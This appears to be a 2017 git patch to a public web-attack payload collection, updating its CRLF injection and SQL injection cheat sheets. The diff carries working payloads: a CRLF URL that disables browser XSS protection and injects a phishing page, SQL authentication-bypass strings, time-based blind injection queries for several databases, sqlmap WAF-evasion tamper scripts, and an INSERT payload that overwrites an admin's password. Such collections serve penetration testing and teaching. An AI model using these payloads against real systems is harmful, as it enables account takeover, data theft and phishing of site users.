From 58aed12c9df573b6ff5be5563c1675109c3e0448 Mon Sep 17 00:00:00 2001 From: Swissky Date: Mon, 29 May 2017 20:41:05 +0200 Subject: [PATCH] CRLF injection updated --- CRLF injection/README.md | 43 ++++++++++++--- SQL injection/README.md | 113 ++++++++++++++++++++------------------- 2 files changed, 93 insertions(+), 63 deletions(-) diff --git a/CRLF injection/README.md b/CRLF injection/README.md index a6a0827..2820f8a 100644 --- a/CRLF injection/README.md +++ b/CRLF injection/README.md @@ -1,7 +1,7 @@ # CRLF The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line. -A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL. +A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL. ## CRLF - Add a cookie Requested page @@ -9,13 +9,13 @@ Requested page http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue ``` -HTTP Response +HTTP Response ``` Connection: keep-alive Content-Length: 178 Content-Type: text/html Date: Mon, 09 May 2016 14:47:29 GMT -Location: https://www.example.net/ +Location: https://www.example.net/[INJECTION STARTS HERE] Set-Cookie: mycookie=myvalue X-Frame-Options: SAMEORIGIN X-Sucuri-ID: 15016 @@ -23,6 +23,34 @@ x-content-type-options: nosniff x-xss-protection: 1; mode=block ``` +## CRLF - Add a cookie - XSS Bypass +Requested page +``` +http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%0d%0a0%0d%0a/%2f%2e%2e +``` +HTTP Response +``` +HTTP/1.1 200 OK +Date: Tue, 20 Dec 2016 14:34:03 GMT +Content-Type: text/html; charset=utf-8 +Content-Length: 22907 +Connection: close +X-Frame-Options: SAMEORIGIN +Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT +ETag: "842fe-597b-54415a5c97a80" +Vary: Accept-Encoding +X-UA-Compatible: IE=edge +Server: NetDNA-cache/2.2 +Link: +0 +``` + + ## CRLF - Write HTML Requested page ``` @@ -33,14 +61,14 @@ HTTP response ``` Set-Cookie:en Content-Length: 0 - + HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT Content-Length: 34 - -You have been Phished``` +You have been Phished +``` ## CRLF - Filter Bypass Using UTF-8 encoding @@ -57,4 +85,5 @@ Remainder: ## Thanks to -* https://www.owasp.org/index.php/CRLF_Injection \ No newline at end of file +* https://www.owasp.org/index.php/CRLF_Injection +* https://vulners.com/hackerone/H1:192749 diff --git a/SQL injection/README.md b/SQL injection/README.md index c58fe57..8a38672 100644 --- a/SQL injection/README.md +++ b/SQL injection/README.md @@ -1,5 +1,5 @@ # SQL injection -A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application +A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application ## Entry point detection @@ -20,6 +20,7 @@ Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (") Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (') +Wildcard (*) ``` @@ -43,53 +44,53 @@ tamper=name_of_the_tamper | Tamper | Description | | --- | --- | -|apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart | -|apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart| -|appendnullbyte.py | Appends encoded NULL byte character at the end of payload | -|base64encode.py | Base64 all characters in a given payload | -|between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' | -|bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator | -|chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) | -|commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'| -|commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'| -|concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'| -|charencode.py | Url-encodes all characters in a given payload (not processing already encoded) | -|charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) | -|equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' | -|escapequotes.py | Slash escape quotes (' and ") | -|greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart | -|halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword | -|ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'| -|modsecurityversioned.py | Embraces complete query with versioned comment | -|modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment | -|multiplespaces.py | Adds multiple spaces around SQL keywords | -|nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters| -|percentage.py | Adds a percentage sign ('%') infront of each character | -|overlongutf8.py | Converts all characters in a given payload (not processing already encoded) | -|randomcase.py | Replaces each keyword character with random case value | -|randomcomments.py | Add random comments to SQL keywords| -|securesphere.py | Appends special crafted string| -|sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs | -|space2comment.py | Replaces space character (' ') with comments | -|space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') | -|space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') | -|space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') | -|space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | -|space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') | -|space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | -|space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') | -|space2plus.py | Replaces space character (' ') with plus ('+') | -|space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | -|symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) | -|unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT | -|unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) | -|uppercase.py | Replaces each keyword character with upper case value 'INSERT'| -|varnish.py | Append a HTTP header 'X-originating-IP' | -|versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | +|apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart | +|apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart| +|appendnullbyte.py | Appends encoded NULL byte character at the end of payload | +|base64encode.py | Base64 all characters in a given payload | +|between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' | +|bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator | +|chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) | +|commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'| +|commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'| +|concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'| +|charencode.py | Url-encodes all characters in a given payload (not processing already encoded) | +|charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) | +|equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' | +|escapequotes.py | Slash escape quotes (' and ") | +|greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart | +|halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword | +|ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'| +|modsecurityversioned.py | Embraces complete query with versioned comment | +|modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment | +|multiplespaces.py | Adds multiple spaces around SQL keywords | +|nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters| +|percentage.py | Adds a percentage sign ('%') infront of each character | +|overlongutf8.py | Converts all characters in a given payload (not processing already encoded) | +|randomcase.py | Replaces each keyword character with random case value | +|randomcomments.py | Add random comments to SQL keywords| +|securesphere.py | Appends special crafted string| +|sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs | +|space2comment.py | Replaces space character (' ') with comments | +|space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') | +|space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') | +|space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') | +|space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | +|space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') | +|space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | +|space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') | +|space2plus.py | Replaces space character (' ') with plus ('+') | +|space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | +|symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) | +|unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT | +|unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) | +|uppercase.py | Replaces each keyword character with upper case value 'INSERT'| +|varnish.py | Append a HTTP header 'X-originating-IP' | +|versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | |versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment | |xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For'| -## Authentication bypass +## Authentication bypass ``` '-' ' ' @@ -123,7 +124,7 @@ or true-- ") or ("x")=("x ")) or (("x"))=(("x or 1=1 -or 1=1-- +or 1=1-- or 1=1# or 1=1/* admin' -- @@ -173,9 +174,9 @@ admin") or "1"="1"/* ## Time based ``` SQLite : AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) comment: -- /**/ -MySQL/MariaDB : AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1 comment: # -- /*!30100 MySQL code*/ -MySQL/MariaDB : RLIKE SLEEP([SLEEPTIME]) comment: # -- /*!30100 MySQL code*/ -MySQL/MariaDB : OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) comment: # -- /*!30100 MySQL code*/ +MySQL/MariaDB : AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1 comment: # -- /*!30100 MySQL code*/ +MySQL/MariaDB : RLIKE SLEEP([SLEEPTIME]) comment: # -- /*!30100 MySQL code*/ +MySQL/MariaDB : OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) comment: # -- /*!30100 MySQL code*/ Oracle : AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) comment: -- /**/ PostGreSQL : AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) comment: -- /**/ PostGreSQL : AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) comment: -- /**/ @@ -187,18 +188,18 @@ SQL Server : IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ ``` -## Insert Statement - ON DUPLICATE KEY UPDATE +## Insert Statement - ON DUPLICATE KEY UPDATE ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by: ``` Inject using payload: attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- - + The query would look like this: INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input"); - -This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”. + +This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”. Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty". - + After this, we can simply authenticate with “admin@example.com” and the password “qwerty”! ``` @@ -228,7 +229,7 @@ No Whitespace - bypass using parenthesis No Comma - bypass using OFFSET, FROM and JOIN ``` LIMIT 0,1 -> LIMIT 1 OFFSET 0 -SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). +SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d ``` @@ -316,4 +317,4 @@ mysql> mysql> select version(); - [SQLite3 Injection Cheat sheet] (https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet) - [Ruby on Rails (Active Record) SQL Injection Guide] (http://rails-sqli.org/) - [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html) - - [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/) \ No newline at end of file + - [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)